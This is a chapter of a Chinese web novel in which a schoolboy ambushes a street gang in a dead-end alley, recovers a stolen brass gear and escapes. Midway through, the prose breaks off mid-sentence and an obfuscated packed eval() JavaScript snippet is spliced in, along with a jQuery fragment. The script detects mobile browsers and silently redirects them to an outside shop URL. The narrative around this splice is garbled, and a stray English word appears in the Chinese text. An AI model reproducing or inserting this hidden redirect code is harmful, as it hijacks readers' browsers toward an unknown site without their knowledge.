严策蹲在二楼窗边的阴影里,手指轻轻摩挲着弹射器冰凉的金属管身。巷子下方,赵坤又一次抬手看表,烟头被他烦躁地扔在地上,用脚碾灭。昏黄的路灯光晕里,灰尘在缓慢飘浮。远处传来隐约的城市噪音,但巷内一片死寂,只有夜风吹过杂物缝隙时发出的细微呜咽。严策的目光锁定在那盏路灯上,灯泡外罩着一层厚厚的污垢,光线勉强穿透。他调整了一下呼吸,将弹射器稳稳握在右手,左手从口袋里摸出一颗包裹着刺痛麻痹粉的泥丸。泥丸表面粗糙,在指尖留下细微的颗粒感。他缓缓抬起手臂,将发射管对准三十米外那个昏黄的光点。巷子里,赵坤的一个手下似乎听到了什么,抬头朝小楼方向望来。严策屏住呼吸,一动不动。阴影完美地吞噬了他的轮廓。
那手下看了几秒,没发现什么,又低下头去。
严策的目光重新聚焦。
巷子里的情况比他刚才粗略观察时更清晰。赵坤站在路灯正下方,皮夹克的拉链敞开着,露出里面的黑色T恤。他左边站着那个高瘦的手下,右边是矮胖的那个。三个人形成一个松散的三角形。
而在他们身后大约五米处,一个破旧的木箱被随意放在一堆废弃轮胎上。木箱是那种老式的工具箱,深褐色,边角已经磨损发白。箱盖半开着,借着路灯微弱的光,严策能看到里面有一个金属物体反射出暗淡的光泽——正是那个黄铜齿轮。
齿轮就在那里。
但严策没有立刻行动。他的视线像扫描仪一样,一寸一寸地扫过巷子的每个角落。
巷子入口左侧,一堆废弃的纸箱后面,有什么东西动了一下。不是风,是人的手肘不小心碰到了纸箱边缘。右侧,一个生锈的铁桶后面,能看到半截鞋尖,深蓝色的运动鞋。巷子深处,靠近围墙的地方,两个大麻袋堆成的掩体后面,隐约有人影蹲伏。
五个,至少五个。
严策在心里默数。加上赵坤和明面上的两个手下,对方至少有八个人。八对一,而且对方显然都带着家伙——赵坤腰间鼓鼓囊囊,应该是甩棍或者短刀,其他埋伏的人手里也握着长短不一的棍状物。
巷子是个死胡同,唯一的出口就是入口。如果自己真的傻乎乎地走进去,一旦被围住,连跑的机会都没有。
赵坤的耐心正在耗尽。
“妈的,那小子不会不来了吧?”矮胖手下嘟囔道,声音在寂静的巷子里传得很远。
“不来?”赵坤冷笑一声,从口袋里又摸出一支烟点上,打火机的火苗在黑暗中一闪,“不来就明天去学校找他。跑得了和尚跑不了庙。”
“坤哥,这齿轮到底有啥用?值得这么折腾?”高瘦手下问。
“你懂个屁。”赵坤吐出一口烟,“王猛那小子说,这玩意儿是严策那小子搞什么文化祭装置的核心零件。没了它,那装置就是个废铁。严策要是不想丢人现眼,就得来求我。”
“那咱们直接砸了不就完了?”
“砸了?”赵坤瞥了他一眼,“砸了还有什么意思?我要的是人。那小子能徒手接住王猛的棒球棍,反应和力量都不一般。这种好苗子,收过来当打手,比砸个破齿轮有用多了。”
严策在楼上听着,眼神更冷了几分。
原来如此。赵坤的目标从一开始就不是齿轮,而是他这个人。齿轮只是个诱饵,逼他现身的手段。而王猛,果然参与了这件事——齿轮很可能就是王猛偷出来交给赵坤的。
时间一分一秒过去。
七点五十五分。
距离约定的八点只剩五分钟。
赵坤开始频繁地看表,烟抽得更凶了。埋伏在暗处的手下们也开始有些躁动,纸箱后面传来轻微的咳嗽声,铁桶后的脚换了个姿势。
就是现在。
严策缓缓吸了一口气,然后屏住呼吸。右手握紧弹射器,左手托住发射管底部,调整角度。目标不是人,而是那盏路灯的灯泡。距离大约三十米,有风,风速不大,但需要计算提前量。他眯起左眼,右眼透过简易的瞄准槽锁定目标。
《天工秘录》里没有教射击,但教了如何观察风向、计算物体运动轨迹。那些枯燥的图表和公式,此刻在脑海中自动浮现。
风从右侧吹来,风速约每秒两米。泥丸重量约十五克,发射初速……他手指扣住扳机,微微调整了发射管的角度,向右偏移了大约三度。
稳住。
心跳声在耳膜里鼓动,但他握管的手纹丝不动。
巷子里,赵坤把烟头扔在地上,用脚狠狠碾碎:“再等五分钟。不来就撤,明天直接去学校堵人。”
就是现在。
严策扣动了扳机。
“咻——”
一声轻微的破空声。泥丸从发射管中射出,在黑暗中划出一道几乎看不见的弧线。时间仿佛变慢了,严策能看到泥丸飞行的轨迹,它旋转着,穿过夜风,精准地飞向那个昏黄的光点。
然后——
“啪!”
清脆的碎裂声在寂静的巷子里炸开。
路灯灯泡应声而碎,玻璃碎片四溅。昏黄的光瞬间消失,巷子陷入一片黑暗。只有远处路口的路灯光线勉强照进来一点,但根本不足以照亮巷子深处。
“操!什么情况?”赵坤的骂声响起。
“灯炸了?”
“谁?谁在那儿?”
埋伏在暗处的手下们也被这突如其来的变故惊到了。纸箱后面的人猛地站起来,铁桶后的人也探出头,麻袋堆后蹲伏的人影也站了起来。黑暗中,七八个人影晃动,互相询问,声音里带着慌乱。
“都别动!”赵坤吼道,“可能是那小子搞的鬼!都给我盯紧了!”
但黑暗打乱了他们的阵型。原本埋伏得好好的位置,因为突然站起来暴露了。几个人在黑暗中摸索着,想重新找到掩体,却撞到了杂物,发出哐当哐当的响声。
严策没有浪费时间。
在灯泡碎裂的瞬间,他已经收起了弹射器,转身冲向楼梯。脚步很轻,但速度极快。下到一楼,他没有从进来的缺口出去,而是转向小楼的后侧。
那里有一扇破窗户,窗框已经腐烂,轻轻一推就开了。窗外是另一条更窄的夹道,堆满了建筑垃圾。严策翻出窗户,落地时膝盖微屈,缓冲了冲击力。
夹道里弥漫着尿骚味和垃圾腐烂的酸臭。他屏住呼吸,按照李浩提供的路线图,快速穿过夹道。地面有碎玻璃和砖块,他每一步都踩在相对平整的地方,避免发出声音。
三十秒后,他来到了巷子的另一头。
这里有一堵矮墙,大约一米五高,墙后堆着更多的废弃家具:破沙发、缺腿的桌子、散了架的衣柜。严策蹲在矮墙后面,小心地探出头观察。
巷子里的混乱还在继续。
赵坤已经打开了手机的手电筒功能,白色的光束在黑暗中乱晃,照出手下们惊慌失措的脸。
“坤哥,那小子是不是跑了?”
“跑个屁!灯刚炸,他能跑哪儿去?肯定就在附近!”赵坤的声音里带着怒意,“都给我散开找!阿强,你去巷子口守着!阿彪,你带两个人去那边看看!”
人影开始移动。
严策看到那个高瘦手下——应该就是阿彪——带着两个人朝巷子深处走去,也就是木箱所在的方向。而矮胖手下阿强则往巷子入口跑。
机会来了。
严策深吸一口气,然后压低声音,模仿着刚才听到的阿彪那种略带沙哑的嗓音,朝着巷子里赵坤的方向喊了一声:
“坤哥!那小子好像从后面绕过来了!”
声音不大,但在寂静和混乱中足够清晰。
巷子里瞬间安静了一秒。
然后赵坤猛地转身,手电筒光束扫向严策刚才发出声音的方向——但那只是矮墙,空无一人。
“后面?哪个后面?”赵坤吼道。
“不知道啊坤哥!”另一个手下慌乱地回答。
“阿彪!阿彪你他妈死哪儿去了?过来!”赵坤朝巷子深处喊。
阿彪正带着两个人往木箱方向走,听到喊声连忙回头:“坤哥,我在这儿呢!”
“你刚才喊什么?”
“我没喊啊!”
“操!”赵坤意识到不对劲了,“中计了!那小子在耍我们!都给我回来!守住齿轮!”
但已经晚了。
严策在喊出那句话的瞬间,已经迅速更换了位置。他从矮墙右侧移动到左侧,然后趴下,开始匍匐前进。地面是粗糙的水泥,碎石子硌着胸口和手肘,但他毫不在意。动作很慢,很轻,像一只在黑暗中移动的蜥蜴。
他的目标很明确:那个破木箱。
距离大约二十米。
赵坤的手电筒光束在巷子里乱晃,几次差点扫到严策所在的位置。他立刻停下,整个人贴在地面上,屏住呼吸。光束从他头顶掠过,照在后面的矮墙上。
“坤哥,没人啊!”
“是不是听错了?”
“都他妈闭嘴!”赵坤烦躁地吼道,“两个人去巷子口,两个人去那边矮墙看看,剩下的跟我守着箱子!”
脚步声响起。
严策听到有人朝矮墙方向走来。两个人,脚步很重。他立刻调整方向,朝着一堆废弃的木板爬去。木板堆得很高,中间有空隙,刚好能容一个人钻进去。
他刚钻进木板堆的缝隙,那两个人就来到了矮墙边。
“没人啊。”
“是不是翻墙跑了?”
“墙那边是死路,跑不了。再找找。”
手电筒光束在矮墙附近扫来扫去。严策缩在木板堆的缝隙里,一动不动。木板散发着霉味和木头腐烂的酸味,有几只虫子从缝隙里爬过,触须擦过他的手背。
光束扫过木板堆,停留了几秒。
严策的心提到了嗓子眼。如果对方仔细检查木板堆,很可能会发现他。他握紧了手里的钢管短矛——那是他从家里带出来的,用旧水管打磨而成,一头磨尖,虽然粗糙,但足够致命。
但对方似乎没有检查的耐心。
“算了,可能真听错了。回去跟坤哥说一声。”
脚步声远去。
严策等了几秒,确认对方走远了,才从木板堆里钻出来。他继续匍匐前进,距离木箱只剩下十米了。
赵坤就站在木箱旁边,手电筒拿在手里,光束照向巷子入口方向。另外两个手下站在他两侧,警惕地看着四周。
严策停在一堆轮胎后面。
轮胎散发着橡胶的焦糊味,应该是被烧过。他小心地从轮胎缝隙里看过去。
木箱就在五米外。
齿轮在箱子里,黄铜的表面在手机手电筒的余光下反射出暗淡的光。
但赵坤就站在箱子旁边,距离不到两米。另外两个手下也离得很近。直接冲过去抢,肯定会被发现。
需要制造另一个混乱。
严策的手伸进口袋,摸出另一颗麻痹泥丸。这次的目标不是灯——灯已经灭了——而是人。
他瞄准了赵坤左侧那个手下的小腿。
距离五米,几乎没有风。这个距离,他有百分之九十的把握命中。
但一旦命中,对方肯定会叫出声,赵坤立刻就会知道他的位置。
必须同时行动。
严策的大脑飞速运转。他观察着三个人的站位:赵坤面朝巷子入口,左侧手下面朝右侧,右侧手下面朝左侧。三个人的视线有重叠,但也有盲区。
盲区在赵坤的正后方——也就是木箱的另一侧。
如果他能绕到木箱另一侧,同时发射泥丸击中左侧手下,趁着对方吃痛分神的瞬间,从赵坤背后伸手拿走齿轮……
可行。
但风险极高。一旦被赵坤转身发现,就是正面冲突。一打三,他没有胜算。
严策咬了咬牙。
没有时间犹豫了。赵坤已经开始不耐烦,随时可能带着齿轮离开。而且苏清影还在附近—
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680508|207667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
—他不知道她具体在哪里,但既然她说了“在附近”,就可能在某个制高点观察着。如果自己一直不行动,她可能会提前介入,那样反而会打乱计划。
他深吸一口气,开始行动。
没有匍匐,而是弯腰,以极低的姿态从轮胎堆后面绕出去。脚步很轻,像猫一样。地面有碎玻璃,他小心地避开。
三米。
两米。
他来到了木箱的另一侧。这里堆着几个破麻袋,正好形成一个小掩体。严策蹲在麻袋后面,从缝隙里看出去。
赵坤的后背就在眼前,不到一米五的距离。他甚至能闻到赵坤身上烟味和汗味混合的气味。
左侧手下站在赵坤左边一米处,右腿暴露在外。
严策缓缓举起弹射器,瞄准。
稳住。
扣动扳机。
“咻——”
泥丸射出,精准地命中左侧手下的小腿。
“啊!”那手下惨叫一声,猛地弯腰捂住小腿,“什么东西咬我?”
赵坤和右侧手下同时转身:“怎么了?”
就是现在!
严策从麻袋后猛地探身,右手闪电般伸向木箱。手指触碰到冰凉的黄铜齿轮,一把抓住,塞进校服口袋。整个过程不到一秒。
但就在他缩回手的瞬间,赵坤似乎察觉到了什么,猛地回头。
手电筒光束扫过来。
严策已经缩回麻袋后面,但光束照亮了麻袋边缘——以及他还没来得及完全收回去的右手。
“后面!”赵坤大吼,“在箱子后面!”
右侧手下立刻冲过来。
严策没有犹豫,转身就跑。但他不是往巷子入口跑,而是往巷子深处跑——那里是死胡同,但有一堵矮墙,刚才他就是从那里翻过来的。
“追!别让他跑了!”赵坤的怒吼在身后响起。
脚步声密集地追来。
严策 sprint,速度极快。巷子深处堆满了杂物,他像猿猴一样在杂物间跳跃穿梭。一个废弃的冰箱挡在路中间,他单手撑住冰箱边缘,整个人腾空翻了过去。
落地时,膝盖传来一阵刺痛——刚才翻窗户时可能扭到了。但他顾不上,继续跑。
矮墙就在眼前。
两米高,墙头有碎玻璃。但墙边堆着几个破木箱,可以垫脚。
严策冲到墙边,一脚踩上木箱,借力向上跃起。双手抓住墙头,碎玻璃扎进手掌,传来尖锐的疼痛。他闷哼一声,用力将身体拉上去。
就在这时,身后传来破空声。
严策本能地低头。
一根甩棍擦着他的头皮飞过,砸在墙头上,溅起几点火星。
“操!小子你跑不了!”赵坤已经追到墙下,另外几个手下也从巷子各处围了过来。
严策顾不上手掌的疼痛,翻身过墙。
墙外是另一条小巷,更窄,更暗。他落地时一个踉跄,差点摔倒。手掌火辣辣地疼,低头一看,掌心被碎玻璃划开了几道口子,鲜血正往外渗。
但他没有停留,爬起来继续跑。
身后传来翻墙的声音——赵坤的人也追上来了。
这条小巷错综复杂,像迷宫一样。严策按照李浩提供的路线图,左拐右拐。脚步声在身后紧追不舍,还有赵坤的骂声:
“分头追!他受伤了,跑不远!”
严策咬紧牙关,冲进一条更窄的夹道。夹道尽头是一堵墙,但墙边堆着几个垃圾桶。他冲到垃圾桶旁,蹲下身,屏住呼吸。
脚步声从夹道口经过。
“这边没有!”
“去那边看看!”
声音渐渐远去。
严策靠在墙上,大口喘着气。心脏在胸腔里狂跳,像要炸开一样。手掌的伤口还在流血,他撕下校服袖子的一角,简单包扎了一下。
齿轮在口袋里,沉甸甸的。
他拿到了。
但赵坤的人还在附近搜索。而且刚才的追逐中,他暴露了身手——那种在杂物间灵活穿梭的能力,绝对不是普通高中生该有的。
赵坤现在肯定更想抓住他了。
严策从垃圾桶后面探出头,观察四周。这条夹道很隐蔽,暂时安全。他掏出手机,屏幕亮起,显示时间:晚上八点十分。
距离约定时间已经过去十分钟。
李浩发来几条消息:
“监控看到巷子灯灭了,发生什么了?”
“有人从巷子里跑出来,在追什么人?”
“你没事吧?看到消息回话!”
严策打字:“齿轮到手,被追,暂时安全。位置在旧货市场西侧小巷。”
发送。
几乎同时,李浩回复:“收到。监控显示至少有六个人在附近搜索。不要动,等我给你规划撤离路线。”
严策收起手机,靠在墙上。夜风吹过夹道,带着凉意。汗水浸湿了后背的校服,现在被风一吹,冷飕飕的。手掌的伤口一阵阵抽痛,但更让他警惕的是周围的动静。
远处传来脚步声,还有手电筒光束扫过墙壁的光影。
他们还在找。
严策握紧了钢管短矛。如果被发现,就只能硬拼了。
但就在这时,他听到了一声轻微的猫叫。
“喵——”
声音从夹道上方传来。
严策抬头。夹道两侧是居民楼的后墙,三楼有一扇窗户开着,窗台上蹲着一只黑猫,眼睛在黑暗中闪着绿光。
猫又叫了一声,然后轻盈地跳下窗台,落在二楼的空调外机上,再跳到一楼的雨棚上,最后落在地面,悄无声息。
它走到严策脚边,蹭了蹭他的裤腿。
严策愣了一下。
然后他看到了猫脖子上挂着一个东西——一个小小的金属牌,在黑暗中反射着微光。
他蹲下身,小心地取下金属牌。牌子上刻着一行小字:
“跟我来。”